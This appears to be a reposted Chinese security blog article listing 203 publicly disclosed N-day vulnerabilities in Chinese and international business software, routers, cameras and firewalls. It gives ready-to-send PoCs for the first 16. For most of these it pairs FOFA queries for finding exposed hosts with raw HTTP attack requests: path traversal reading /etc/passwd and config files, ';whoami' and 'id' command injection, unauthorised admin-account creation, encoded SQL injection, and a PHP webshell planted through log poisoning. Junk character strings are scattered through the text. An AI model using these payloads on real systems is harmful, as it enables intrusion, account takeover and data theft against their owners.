互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

) U* r" V  ?, h: t漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
  t4 k; g4 M' P5 R
3 Q& ~1 W/ G* T4 B安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

! n0 X0 J# x' H8 H' K' y; }合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。


声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
  c( \$ l/ l' Z+ M
有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
( C2 f+ D5 x" \9 b' n! Q& P
4 ~! I* l4 u% ^: U. i" T
3 M3 m5 v- n7 ^0 Q$ z* U
目录

( a' O2 J, t! r0 x" ]2 N4 W01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7 t& Y8 X+ p- _/ K7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
8 \$ a- \/ B8 K/ c9. 稻壳CMS keyword 未授权SQL注入
7 o8 l4 t* Y$ `; ~, ~8 u5 M10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
: a; r+ k; \" U$ n6 _7 _/ b15. 华夏ERP getAllList信息泄露
3 l8 _. X$ S4 E1 r6 W5 j; c16. 红帆HFOffice医微云SQL注入
5 j3 h1 n' C- W  S: l17. 大华 DSS itcBulletin SQL 注入
2 _0 I) C; l  I' V' O18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
8 C& W  H5 p, n& v20. 大华ICC智能物联综合管理平台任意文件读取
6 d- _1 ?+ U+ P! Y& A) w9 e3 @21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
) N" {# o9 j; c, c+ v1 f6 x* h26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
3 R/ d9 E; l; t4 l0 b# ~9 V30. 用友NC importPml SQL注入
$ u" S- \1 j  T31. 用友NC runStateServlet SQL注入
+ A8 m. o( F# |9 q32. 用友NC complainbilldetail SQL注入
, }7 A/ U: [: x2 l# T; J33. 用友NC downTax/download SQL注入
, g1 Y/ L8 n, x34. 用友NC warningDetailInfo接口SQL注入
8 }9 z& f4 \+ z8 K" k35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
# R; h9 B" g: q* \38. 用友U8 Cloud smartweb2.RPC.d XXE
) f, N  Z" }' _4 _' h6 Z6 x39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
  s, |( j  S( w, b42. 用友GRP-U8 SmartUpload01 文件上传
+ H; ~; \* O# B/ V" M, b& K43. 用友GRP-U8 userInfoWeb SQL注入致RCE
0 U7 N+ r+ Q8 g) Y3 S44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
& S  g( o$ s# r46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
; r. V# v6 X: @! J49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
6 @$ v2 b2 v+ S& V# C55. 畅捷通T+ getdecallusers信息泄露
& b9 r! c6 O$ O0 J56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
! k7 U* U, d# u7 P59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
/ J9 D* ]/ b2 j# ~6 [60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
' ~) J& B& T; V( V. R9 \62. IP-guard WebServer 远程命令执行
# Y% d0 O7 G9 I2 @63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
  Q( N8 Q# ?& e* E8 ~  U65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
8 K* Y* M% _6 W# X68. 万户ezOFFICE wf_printnum.jsp SQL注入
& W7 `' ^; u1 I$ |69. 万户 ezOFFICE contract_gd.jsp SQL注入
2 A3 E, F) |% ]( K5 k! l* r70. 万户ezEIP success 命令执行
! ?- D: c" b( T9 c7 p71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 u) W, M$ d8 C( G7 O72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
- r- M. f" @+ [. K3 z3 x7 L+ @/ v74. 致远M3-server 6_1sp1 反序列化RCE
8 o, M( [$ A7 F& h75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
7 T2 b2 d* g( D* e78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
8 @1 T( J) X  W7 Z* P# w/ G79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
# |& t" c' B  {85. SysAid On-premise< 23.3.36远程代码执行
0 T7 u6 ~8 q' }/ D- T86. 日本tosei自助洗衣机RCE
% r8 `7 _! P# e2 t2 B6 }) x, I. i87. 安恒明御安全网关aaa_local_web_preview文件上传
* i2 S$ o1 j' c# W2 w0 D88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
; I0 d+ i4 [, T% E% U0 _92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
% Y9 c8 Y7 b9 R, u3 Y1 H96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
8 g0 S4 ?. V, F+ i& }98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
' Z" _- u+ t2 A' L* d, S100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
( r6 ]3 O9 Y' P" o1 f. a' |101. ivanti policy secure-22.6命令注入
( M1 M0 @: V8 e+ h: {102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
, d# G1 M/ U6 g. f0 \7 S# D! c2 A! l( S106. SpringBlade dict-biz/list SQL 注入
$ a7 |8 K( Y; o& M107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
5 ?/ ^2 U7 M2 g) c1 H) k; p2 H110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
4 j. \6 \% i/ ]113. WordPress Automatic 插件任意文件下载和SSRF
8 d; }8 b" H: O0 p* e114. WordPress MasterStudy LMS插件 SQL注入
8 ]8 ~0 O+ L2 {0 O, A115. WordPress Bricks Builder <= 1.9.6 RCE
4 Q# A6 V# ~% @  l7 G116. wordpress js-support-ticket文件上传
1 A5 S# X( c" w$ h! Q1 I# T' U8 ^117. WordPress LayerSlider插件SQL注入
# `9 |, Y' p; r3 \0 k: A. O5 z118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 y& L# C% T6 A4 o6 _' C119. 北京百绰智能S20后台sysmanageajax.php sql注入
& [9 F/ P" @& K( h$ l. D' r120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
* E# t# ?; C. ^$ w: b1 r! f# b/ }2 `123. Atlassian Confluence 模板注入代码执行
& \9 G5 ^! b* m* L9 {124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
; ^3 t9 o) V: z# b4 ]; b9 p0 h127. 广联达Linkworks DataExchange.ashx XXE
1 s5 V  f( c5 E9 b4 K" |128. Adobe ColdFusion 反序列化
/ v0 x$ @9 L& b! H2 _3 u129. Adobe ColdFusion 任意文件读取
: S9 c' e$ _" R5 s5 W' s# x130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
$ U2 B8 I/ J# S* r$ G9 v  b, m$ ?132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
# C) z: O  m% ^# a" m. _134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
# r- S* {" X) c# H5 m; {140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
0 T% M; t8 K+ L: u143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
: p- V) v- ]7 I1 z9 x' z( L146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
  v( e: E1 j; `5 H5 i148. CrushFTP 认证绕过模板注入
/ g! `: _" D& l149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
- ]8 U2 v; c: q8 P151. AJ-Report 1.4.1 pageList sql注入
( S! e  U2 L" h152. Progress Kemp LoadMaster 远程命令执行
2 _8 p8 |; c% H% F4 `153. gradio任意文件读取
( Q4 p+ }; |/ Z( t! X+ `1 \4 u154. 天维尔消防救援作战调度平台 SQL注入
% r: a* V4 Z) d5 T6 P1 i7 v155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
4 s; c2 w2 V6 |/ w; o157. 美特CRM upload.jsp 任意文件上传
' a6 B' d3 l. {+ [+ n158. Mura-CMS-processAsyncObject存在SQL注入
6 D" ^/ y/ f; v% j, V6 n159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
" k1 _8 s. L9 l  i' G# b4 _160. Sonatype Nexus Repository 3目录遍历与文件读取
  i1 X4 w) U' m- I' M161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
9 [4 @0 ~. F% _( k1 F" H163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
5 K$ x; U- @/ ^0 w2 O& D164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( J! F5 Y9 k' n6 X3 b& D' q8 r165. OrangeHRM 3.3.3 SQL 注入
) h# W0 o+ T- c/ f- L166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
  f- `+ U$ ^) T' a$ Y) Q: \168. 宏景EHR OutputCode 任意文件读取
/ `1 a+ }8 m. m8 Q) ?. l. e4 |169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
  O, w1 X$ A% F* A, B. q' y, v171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
  ~& |- O0 B; ~& M; k4 k173. Check Point 安全网关任意文件读取
9 `+ f. v% V% C0 M174. 金和OA C6 FileDownLoad.aspx 任意文件读取
9 ^$ d9 [1 V3 \, a175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
. F; S4 w, s5 `; s& R& g176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
3 D: d0 X: K1 a; k3 `179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
/ Q/ s0 Q" B) @5 W9 f! F181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
, K# x5 y$ |# D. U! R. M  e182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
4 \. Z5 {* d4 g. k! W9 }' n  `184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
$ J6 t6 y. x/ G, w/ U186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
4 ~/ ]% B5 Q  L7 ]. Z188. 叁体-佳会视频会议 attachment 任意文件读取
8 |9 Z1 ~% j* ^& s189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
9 f" p. g) N4 I+ C* [& c; J3 V9 _195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
. K, ]' t; W6 g- {! N+ z196. 河南省风速科技统一认证平台密码重置
1 S* O- f, Z+ q6 @  q" S$ z197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
3 Z% _$ W( o5 J/ _8 u2 ~2 v198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
- ~7 h2 j% U) l202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

02
& h6 t+ s) i, c( Y+ k* G. n
1. StarRocks MPP数据库未授权访问
6 g/ Q8 G0 ]) F# }, zFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL


2. Casdoor系统static任意文件读取
& S9 B8 R; m2 R8 v, L) mFOFA ：title="Casdoor"
4 b7 a5 p( c6 L/ L. Z3 e& o) o" uGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
1 Z4 \* Y6 L; V. T9 YHost: xx.xx.xx.xx:9999
0 R+ O1 H7 {' Z6 Y! GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, @/ a$ }2 ^5 T, J  U5 o! m  xConnection: close
9 X% D% ^- o1 H+ U% oAccept: */*
0 L. E, w) k( P7 QAccept-Language: en
Accept-Encoding: gzip

: X5 J# l. U  }2 j9 ?. y/ L
9 Y6 ?1 ]6 ]( q) _$ H2 ^. o* U3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
5 |; H. V# C, A9 TGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
; K6 `' }- ]* m: R5 \+ V

% w, z' q( T0 R) z6 ~" `4. EasyCVR视频管理平台存在任意用户添加
" D' J! G* }5 GFOFA ：title="EasyCVR"
  ]8 ~1 |2 C; w) R, r
password更改为自己的密码md5
: n7 M  W/ _  S; P( pPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
; S6 g) R2 P3 {7 I1 a
* q6 w% l& g/ ?name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

& `' E4 p- g5 e' I7 D$ R( ~" h7 e
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
& L$ A3 {8 c2 y1 f6 a) TGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

. B, V7 W: `, r7 H1 W' q
6. 深信服 NGAF 任意文件读取
) h% S6 X5 u% u( Y9 r9 D* F$ wFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
* o2 m3 h' }( q# c; pHost:


$ p4 q$ b0 ]& t( k# v) H% B7. 鸿运主动安全监控云平台任意文件下载
5 n/ l9 e( ]2 ]FOFA：body="./open/webApi.html"
. L7 A7 Q( W1 S  D- t2 tGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
% r/ o. V6 W% \
7 {+ C% f$ n" A2 v9 k
8. 斐讯 Phicomm 路由器RCE
9 @* h; ?7 z6 C* t" {& MFOFA：icon_hash="-1344736688"
: v. e: g+ w# A) d, ?+ b# S默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
( B# D; S% ]" A% A" R- J/ l7 {Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
) `" ]5 o" v" U. v; v4 E3 EUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
! {$ _& k  m( p0 a3 v2 }
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
1 ^. A  N3 C/ ]4 h
%s
------WebKitFormBoundaryxbgjoytz
% a# N) y! A6 u) Y: \. WContent-Disposition: form-data; name="wifiRebootrange"
6 A) c& [' a, v2 @9 f* _
! K! ]; X: h" M8 |' c12:00; id;
1 p: I1 I9 Q  R4 F- ?8 D& i& P------WebKitFormBoundaryxbgjoytz
' D# M4 ]1 T7 |7 Q; p, JContent-Disposition: form-data; name="wifiRebootendrange"

0 ]5 U; d% k: \8 i, R%s:
' P, g6 N; X- y4 S& S------WebKitFormBoundaryxbgjoytz
; T8 {& \1 Y) E8 zContent-Disposition: form-data; name="cururl2"

2 y! O( x: N7 C) E! U; g
------WebKitFormBoundaryxbgjoytz--

" O' S+ g4 U) S; p! \
9. 稻壳CMS keyword 未授权SQL注入
3 S3 |( k( L' BFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

  \" }& U& ]& d* }' x1 P
5 f! _6 ^, |/ c' }. S$ epayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

  c; H7 X1 ^  J4 \2 j. r+ _; {10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
- C/ w: P  A8 U% T2 D. o  V1 B3 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
) n% D9 ^9 u8 b8 y4 n5 \Content-Length: 197
7 D+ V5 n+ Z' z. W$ g/ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
$ v6 c0 s# w9 L4 _0 g, UAccept-Encoding: gzip, deflate
' u2 i6 o- V) @! K- C  ^Accept-Language: zh-CN,zh;q=0.9
! H+ ~# M  @  _1 m. sConnection: close
3 `7 l* @& d+ [6 K+ rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
/ C: r* s6 V7 W! t. B- y
------WebKitFormBoundaryxdgaqmqu
# F1 f4 W/ n* A- fContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

! e" S3 X; _( [jmnqjfdsupxgfidopeixbgsxbf
9 @5 [' O- a* H; N( C/ l------WebKitFormBoundaryxdgaqmqu--
8 e5 [8 I8 h/ c
7 r! E2 S* S. k
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
% m8 Z- W% q+ v5 eFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
  t# P  q3 P% R4 E# |: QHost: 127.0.0.1
( `' {5 y% X, p* gPragma: no-cache
Cache-Control: no-cache
- t% l% Q" U5 A- r# J4 l$ Y' o7 ^, DUpgrade-Insecure-Requests: 1
+ n' w) P# v! B( _9 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

$ U1 w  }6 L2 }
, W; _! e0 _% z- b12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
, `: X) h' Z% w  ]  W. y" v第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
' J$ e6 B( D; J6 z1 `+ g4 A  ?Accept-Encoding: gzip
+ `- y, F/ F, e( q: v( |: e7 O

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
9 S& x# L6 V+ b) Z# T. R1 x+ YConnection: close
) J( }3 Q2 V  Y" N9 R# U* T$ pCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
+ \( O" ], o, GDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
. [" Y, O' B! D3 U8 zLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
: d. C7 h( d1 lServer: Apache/2.4.54 (Debian)
4 a: ~$ M5 c* p. iSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

" k1 D% s/ w. \- F5 f
+ |8 k+ P( a8 ZPOST请求，执行函数并进行base64编码
3 L' L" v( {) `  O' FPOST /session/login HTTP/1.1
$ M( O" ^& g/ ^0 c0 S: THost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
1 X2 H$ _2 z& oContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip

- k/ b+ a3 H6 D/ \csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
5 H6 C3 p$ }  v3 J
2 m- V1 @4 A: k1 c
) b8 V" F0 f4 e& q+ U1 z
. b" E6 W- v' R6 ?5 ?向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
) r1 ^+ u1 ?- `) X6 n# V! ~% J. LGET /pages/view/log-2023-10-24 HTTP/1.1
0 g* o% ?8 }  n# \( J  SHost: 192.168.190.30
' W/ B6 S) j9 c; mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
" W+ z5 f/ @" N- s4 T( D& UCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
1 b" |; w  N; D1 k- K' rX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
* c9 u3 L- m6 m( X8 X. @
. N! J+ f' Z8 v- P8 y8 z1 @- k0 K
9 Z" r9 f6 G/ |13. 红帆iOffice ioFileDown任意文件读取
1 h% z/ N4 b# \, r" c! UFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
" E, l1 ?% l& r/ C( Y5 D1 n7 UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
7 j9 {2 X' j/ j: V2 cConnection: close
Accept: */*
Accept-Encoding: gzip
$ V7 m/ y' O. a; e0 a
" P& y9 Y3 D5 A# e6 C
14. 华夏ERP（jshERP）敏感信息泄露
3 P% G& C6 S: A4 FFOFA：body="jshERP-boot"
: C5 _5 P' s. W. p泄露内容包括用户名密码
# \9 Y  W' U1 v, YGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
  U) O0 n$ F+ rConnection: close
Accept: */*
0 Z" v1 _5 s4 m8 z6 X, GAccept-Language: en
: f' y" E6 J2 N9 F: F* H; x) ]3 JAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
- c& p1 N2 F0 G( o( z! f/ A7 qCVE-2024-0490
FOFA：body="jshERP-boot"
# ?$ T  @' C3 I0 q泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
: @) O9 n, B! u' T$ L* iHost: 192.168.40.130:100
0 m3 M; f6 Z5 a/ p4 K/ bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
+ H0 m& u8 ?5 gConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
" N" X, m3 j( R' S4 i) `0 C3 ^+ }2 S

16.  红帆HFOffice医微云SQL注入
. b8 \5 S0 I  g0 @& M: L+ AFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
